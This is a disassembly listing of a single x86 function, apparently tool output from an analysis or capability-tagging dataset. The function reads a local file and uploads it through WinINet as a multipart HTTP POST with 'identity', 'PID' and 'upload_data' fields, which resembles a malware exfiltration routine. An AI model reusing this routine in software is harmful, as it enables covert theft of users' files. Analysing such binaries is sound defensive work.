Function at 0x42eb40
Capabilities:
Connect to http server
Create http request
Get file size
Read and send data from client to server
Read data from internet
Read file on windows
Receive data
Resolve function by parsing pe exports
Send data
Send http request

Disassembly:
push 0xffffffffffffffff
push 0x4e46fa
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xbc
push ebx
push ebp
push esi
mov ebx, ecx
push edi
xor esi, esi
mov ecx, 9
xor eax, eax
lea edi, [esp + 0xa8]
mov dword [esp + 0xa4], esi
rep stosd dword es:[edi], eax
push 0x5000
call fcn.004d46ce
add esp, 4
mov dword [esp + 0x2c], eax
mov al, byte [esp + 0x13]
lea ecx, [esp + 0x7c]
push esi
mov dword [esp + 0x50], esi
mov dword [esp + 0x94], esi
mov dword [esp + 0x34], esi
mov dword [esp + 0x6c], esi
mov dword [esp + 0x90], esi
mov dword [esp + 0x48], 0x493e0
mov byte [esp + 0x80], al
call fcn.00407190
mov edi, 0x518908
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebp, ecx
lea ecx, [esp + 0x80]
push ebp
call fcn.004085a0
test al, al
je 0x42ec11
mov edi, dword [esp + 0x80]
mov ecx, ebp
mov edx, ecx
mov esi, 0x518908
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x80]
call fcn.00408580
xor esi, esi
mov eax, dword [esp + 0xe4]
push ecx
mov ecx, esp
mov dword [esp + 0x4c], esp
push eax
mov dword [esp + 0xdc], esi
call fcn.004d49fb
lea ecx, [esp + 0x2c]
push ecx
mov ecx, ebx
call fcn.0042ea70
mov ebx, dword [eax]
or ecx, 0xffffffff
mov edi, ebx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 1
mov ebp, ecx
lea ecx, [esp + 0x80]
push ebp
mov byte [esp + 0xdc], 1
call fcn.004085a0
test al, al
je 0x42ec8b
mov edi, dword [esp + 0x80]
mov ecx, ebp
mov edx, ecx
mov esi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x80]
call fcn.00408580
xor esi, esi
lea ecx, [esp + 0x28]
mov byte [esp + 0xd4], 0
call fcn.004d498d
mov al, byte [esp + 0x13]
push esi
lea ecx, [esp + 0x54]
mov byte [esp + 0x54], al
call fcn.00407190
mov edi, str._____________________________40099aabb3793
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebx, ecx
lea ecx, [esp + 0x54]
push ebx
call fcn.004085a0
test al, al
je 0x42ecf4
mov edi, dword [esp + 0x54]
mov ecx, ebx
mov edx, ecx
mov esi, str._____________________________40099aabb3793
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x54]
call fcn.00408580
xor esi, esi
mov al, byte [esp + 0x13]
push esi
lea ecx, [esp + 0x70]
mov byte [esp + 0xd8], 2
mov byte [esp + 0x70], al
call fcn.00407190
mov edi, str.Content_Type:_multipart_form_data__boundary
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.Content_Type:_multipart_form_data__boundary
lea ecx, [esp + 0x74]
call fcn.00406db0
mov ecx, dword [0x4ea898]
lea edx, [esp + 0x50]
push ecx
push esi
push edx
lea ecx, [esp + 0x78]
mov byte [esp + 0xe0], 3
call fcn.00406a10
mov edi, 0x509cd8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x509cd8
lea ecx, [esp + 0x74]
call fcn.00406af0
mov al, byte [esp + 0x13]
push esi
lea ecx, [esp + 0x18]
mov byte [esp + 0x18], al
call fcn.00407190
mov edi, 0x509cd4
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebp, ecx
lea ecx, [esp + 0x18]
push ebp
call fcn.004085a0
test al, al
je 0x42edbe
mov edi, dword [esp + 0x18]
mov ecx, ebp
mov edx, ecx
mov esi, 0x509cd4
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.00408580
mov edi, 0x509cd8
or ecx, 0xffffffff
xor eax, eax
mov ebx, 4
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [esp + 0xd4], bl
push ecx
push 0x509cd8
lea ecx, [esp + 0x1c]
call fcn.00406af0
mov edi, 0x509cd4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x509cd4
lea ecx, [esp + 0x1c]
call fcn.00406af0
mov eax, dword [0x4ea898]
lea ecx, [esp + 0x50]
push eax
push 0
push ecx
lea ecx, [esp + 0x20]
call fcn.00406a10
mov edi, str._r_nContent_Disposition:_form_data__name_identity_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str._r_nContent_Disposition:_form_data__name_identity_
lea ecx, [esp + 0x1c]
call fcn.00406af0
mov edi, str._r_n_r_n
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str._r_n_r_n
lea ecx, [esp + 0x1c]
call fcn.00406af0
push ecx
mov ecx, esp
mov dword [esp + 0x4c], esp
push 0x518b40
call fcn.004d4702
lea edx, [esp + 0x2c]
push edx
call fcn.00415810
add esp, 8
mov edx, dword [eax]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [esp + 0xd4], 5
push ecx
push edx
lea ecx, [esp + 0x1c]
call fcn.00406af0
lea ecx, [esp + 0x28]
mov byte [esp + 0xd4], bl
call fcn.004d498d
mov edi, str._r_n__
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str._r_n__
lea ecx, [esp + 0x1c]
call fcn.00406af0
mov eax, dword [0x4ea898]
lea ecx, [esp + 0x50]
push eax
push 0
push ecx
lea ecx, [esp + 0x20]
call fcn.00406a10
mov edx, dword [0x509d80]
lea eax, [esp + 0x94]
push edx
push 0x509d74
push eax
call fcn.004aeeec
mov edi, str._r_nContent_Disposition:_form_data__name_PID_
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str._r_nContent_Disposition:_form_data__name_PID_
lea ecx, [esp + 0x1c]
call fcn.00406af0
mov edi, str._r_n_r_n
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str._r_n_r_n
lea ecx, [esp + 0x1c]
call fcn.00406af0
lea edi, [esp + 0x94]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x98]
push ecx
lea ecx, [esp + 0x1c]
call fcn.00406af0
mov edi, 0x509cd8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x509cd8
lea ecx, [esp + 0x1c]
call fcn.00406af0
mov edi, 0x509cd4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x509cd4
lea ecx, [esp + 0x1c]
call fcn.00406af0
mov edx, dword [0x4ea898]
lea eax, [esp + 0x50]
push edx
push 0
push eax
lea ecx, [esp + 0x20]
call fcn.00406a10
mov edi, str._r_nContent_Disposition:_form_data__filename_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
mov edx, dword [esp + 0x1c]
dec ecx
mov esi, ecx
mov ecx, dword [0x4ea898]
sub ecx, edx
cmp ecx, esi
ja 0x42efcf
call fcn.004c0b21
test esi, esi
jbe 0x42f014
mov edx, dword [esp + 0x1c]
push 0
lea ecx, [esp + 0x18]
lea ebp, [edx + esi]
push ebp
call fcn.004085a0
test al, al
je 0x42f014
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
push ebp
lea edi, [ecx + eax]
mov ecx, esi
mov edx, ecx
mov esi, str._r_nContent_Disposition:_form_data__filename_
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.00408580
mov eax, dword [0x4ea898]
lea ecx, [esp + 0x7c]
push eax
push 0
push ecx
lea ecx, [esp + 0x20]
call fcn.00406a10
mov edi, str.____name_upload_data_
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [0x4ea898]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
mov ecx, dword [esp + 0x1c]
sub edx, ecx
cmp edx, esi
ja 0x42f050
call fcn.004c0b21
test esi, esi
jbe 0x42f095
mov eax, dword [esp + 0x1c]
push 0
lea ecx, [esp + 0x18]
lea ebp, [eax + esi]
push ebp
call fcn.004085a0
test al, al
je 0x42f095
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
push ebp
lea edi, [edx + ecx]
mov ecx, esi
mov eax, ecx
mov esi, str.____name_upload_data_
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.00408580
mov edi, str.__r_nContent_Type:_text_html_r_n_r_n
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x1c]
repne scasb al, byte es:[edi]
mov eax, dword [0x4ea898]
not ecx
dec ecx
sub eax, edx
mov esi, ecx
cmp eax, esi
ja 0x42f0ba
call fcn.004c0b21
test esi, esi
jbe 0x42f0ff
mov ecx, dword [esp + 0x1c]
push 0
lea ebp, [ecx + esi]
lea ecx, [esp + 0x18]
push ebp
call fcn.004085a0
test al, al
je 0x42f0ff
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
mov ecx, esi
mov esi, str.__r_nContent_Type:_text_html_r_n_r_n
lea edi, [eax + edx]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.00408580
mov al, byte [esp + 0x13]
push 0
lea ecx, [esp + 0x38]
mov byte [esp + 0x38], al
call fcn.00407190
mov edi, str._r_n__
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebp, ecx
lea ecx, [esp + 0x38]
push ebp
call fcn.004085a0
test al, al
je 0x42f158
mov edi, dword [esp + 0x38]
mov ecx, ebp
mov edx, ecx
mov esi, str._r_n__
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x38]
mov dword [esp + 0x3c], ebp
mov byte [eax + ebp], 0
mov ecx, dword [0x4ea898]
lea edx, [esp + 0x50]
push ecx
push 0
push edx
lea ecx, [esp + 0x40]
mov byte [esp + 0xe0], 6
call fcn.00406a10
mov edi, str.___r_n
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x3c]
repne scasb al, byte es:[edi]
mov eax, dword [0x4ea898]
not ecx
dec ecx
sub eax, edx
mov esi, ecx
cmp eax, esi
ja 0x42f19c
call fcn.004c0b21
test esi, esi
jbe 0x42f1e1
mov ecx, dword [esp + 0x3c]
push 0
lea ebp, [ecx + esi]
lea ecx, [esp + 0x38]
push ebp
call fcn.004085a0
test al, al
je 0x42f1e1
mov edx, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
mov ecx, esi
mov esi, str.___r_n
lea edi, [eax + edx]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x38]
call fcn.00408580
push 0
push 0
push 0
push 1
push str.HttpSendRequest
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [esp + 0x48], eax
je 0x42f551
mov ecx, dword [esp + 0xe8]
mov edx, dword [esp + 0xdc]
push 1
push 0
push 3
push 0
push 0
push ecx
push edx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
test eax, eax
mov dword [esp + 0x4c], eax
jne 0x42f23b
mov esi, dword [esp + 0x2c]
mov ebp, dword [esp + 0x90]
xor edi, edi
jmp 0x42f51f
mov ecx, dword [esp + 0xe0]
push 0
push 0x4400000
push 0
push 0
push 0
push ecx
push 0x509bf8
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebp, eax
test ebp, ebp
jne 0x42f26d
mov esi, dword [esp + 0x2c]
xor edi, edi
jmp 0x42f51f
mov edx, dword [esp + 0xe4]
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0x30], edi
jne 0x42f2a3
mov esi, dword [esp + 0x2c]
xor edi, edi
jmp 0x42f51f
mov esi, dword [sym.imp.WININET.dll_InternetSetOptionA]
lea eax, [esp + 0x44]
push ebx
push eax
push 2
push ebp
call esi
lea ecx, [esp + 0x44]
push ebx
push ecx
push 5
push ebp
call esi
lea edx, [esp + 0x44]
push ebx
push edx
push 7
push ebp
call esi
mov eax, dword [esp + 0x70]
test eax, eax
jne 0x42f2d7
mov eax, 0x4ea894
mov ecx, dword [esp + 0x74]
push 0x20000000
push ecx
push eax
push ebp
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
test eax, eax
jne 0x42f2fe
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [esp + 0x2c]
xor edi, edi
jmp 0x42f51f
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x3c]
add ecx, edx
push 0
push 0
lea edx, [esp + 0xac]
push 0
add ecx, eax
push edx
push ebp
mov dword [esp + 0xb8], 0x28
mov dword [esp + 0xd4], ecx
call dword [sym.imp.WININET.dll_HttpSendRequestExA]
test eax, eax
jne 0x42f34f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [esp + 0x2c]
xor edi, edi
jmp 0x42f51f
mov ebx, dword [esp + 0x8c]
mov esi, dword [esp + 0x2c]
inc ebx
cmp ebx, 1
jne 0x42f398
mov eax, dword [esp + 0x1c]
cmp eax, 0x5000
jbe 0x42f370
mov eax, 0x4fff
mov ecx, eax
mov eax, dword [esp + 0x18]
test eax, eax
mov dword [esp + 0x24], ecx
jne 0x42f383
mov eax, 0x4ea894
push ecx
push eax
push esi
call fcn.004b0350
mov eax, dword [esp + 0x30]
add esp, 0xc
mov byte [eax + esi], 0
jmp 0x42f3b0
lea ecx, [esp + 0x24]
push 0
push ecx
push 0x5000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x42f3f7
mov eax, dword [esp + 0x24]
lea edx, [esp + 0x60]
push edx
push eax
push esi
push ebp
call dword [sym.imp.WININET.dll_InternetWriteFile]
test eax, eax
je 0x42f3f1
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x68]
mov eax, dword [esp + 0x24]
add edx, ecx
cmp eax, 0x5000
mov dword [esp + 0x68], edx
jae 0x42f3e4
cmp ebx, 1
ja 0x42f3fe
cmp ebx, 0x7d0
ja 0x42f3fe
jmp 0x42f35a
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor edi, edi
jmp 0x42f51f
mov ecx, dword [esp + 0x3c]
cmp ecx, 0x5000
jbe 0x42f40f
mov ecx, 0x4fff
mov eax, dword [esp + 0x38]
mov dword [esp + 0x24], ecx
test eax, eax
jne 0x42f420
mov eax, 0x4ea894
push ecx
push eax
push esi
call fcn.004b0350
mov edx, dword [esp + 0x30]
add esp, 0xc
lea eax, [esp + 0x60]
mov byte [edx + esi], 0
mov ecx, dword [esp + 0x24]
push eax
push ecx
push esi
push ebp
call dword [sym.imp.WININET.dll_InternetWriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
push edi
push edi
push edi
push ebp
mov dword [esp + 0x40], edi
call dword [sym.imp.WININET.dll_HttpEndRequestA]
test eax, eax
je 0x42f51f
lea edx, [esp + 0x24]
push edx
push 0x2800
push esi
push ebp
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x42f51f
mov eax, dword [esp + 0x24]
mov byte [eax + esi], 0
mov ecx, dword [0x51347c]
mov dword [esp + 0x28], ecx
push ecx
mov byte [esp + 0xd8], 7
mov ecx, esp
mov dword [esp + 0x68], esp
push esi
call fcn.004d49fb
lea edx, [esp + 0x68]
push edx
call fcn.00415b20
add esp, 8
push eax
lea ecx, [esp + 0x2c]
mov byte [esp + 0xd8], 8
call fcn.004d4ac6
lea ecx, [esp + 0x64]
mov byte [esp + 0xd4], 7
call fcn.004d498d
push edi
lea ecx, [esp + 0x2c]
call fcn.004d4dbd
push eax
push 0x509d48
push esi
call fcn.004aeeec
add esp, 0xc
lea ecx, [esp + 0x28]
push 0xffffffffffffffff
call fcn.004d4e0c
lea ecx, [esp + 0x28]
mov byte [esp + 0xd4], 6
call fcn.004d498d
push str.200
push esi
call fcn.004b0b80
mov edi, eax
add esp, 8
neg edi
sbb edi, edi
inc edi
mov eax, dword [esp + 0x48]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
push eax
call ebx
test ebp, ebp
je 0x42f533
push ebp
call ebx
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x42f53e
push eax
call ebx
mov eax, dword [esp + 0x30]
test eax, eax
je 0x42f559
mov ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x42f559
mov edi, dword [esp + 0x4c]
mov esi, dword [esp + 0x2c]
xor ebx, ebx
cmp esi, ebx
je 0x42f568
push esi
call fcn.004d46f7
add esp, 4
mov ecx, dword [esp + 0x38]
cmp ecx, ebx
je 0x42f58c
mov al, byte [ecx - 1]
test al, al
je 0x42f582
cmp al, 0xff
je 0x42f582
dec al
mov byte [ecx - 1], al
jmp 0x42f58c
dec ecx
push ecx
call fcn.004d46f7
add esp, 4
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x38], ebx
cmp ecx, ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
je 0x42f5bc
mov al, byte [ecx - 1]
test al, al
je 0x42f5b2
cmp al, 0xff
je 0x42f5b2
dec al
mov byte [ecx - 1], al
jmp 0x42f5bc
dec ecx
push ecx
call fcn.004d46f7
add esp, 4
mov ecx, dword [esp + 0x70]
mov dword [esp + 0x18], ebx
cmp ecx, ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
je 0x42f5ec
mov al, byte [ecx - 1]
test al, al
je 0x42f5e2
cmp al, 0xff
je 0x42f5e2
dec al
mov byte [ecx - 1], al
jmp 0x42f5ec
dec ecx
push ecx
call fcn.004d46f7
add esp, 4
mov ecx, dword [esp + 0x54]
mov dword [esp + 0x70], ebx
cmp ecx, ebx
mov dword [esp + 0x74], ebx
mov dword [esp + 0x78], ebx
je 0x42f61c
mov al, byte [ecx - 1]
test al, al
je 0x42f612
cmp al, 0xff
je 0x42f612
dec al
mov byte [ecx - 1], al
jmp 0x42f61c
dec ecx
push ecx
call fcn.004d46f7
add esp, 4
mov ecx, dword [esp + 0x80]
mov dword [esp + 0x54], ebx
cmp ecx, ebx
mov dword [esp + 0x58], ebx
mov dword [esp + 0x5c], ebx
je 0x42f64f
mov al, byte [ecx - 1]
test al, al
je 0x42f645
cmp al, 0xff
je 0x42f645
dec al
mov byte [ecx - 1], al
jmp 0x42f64f
dec ecx
push ecx
call fcn.004d46f7
add esp, 4
mov ecx, dword [esp + 0xcc]
mov eax, edi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0xc8
ret 0x10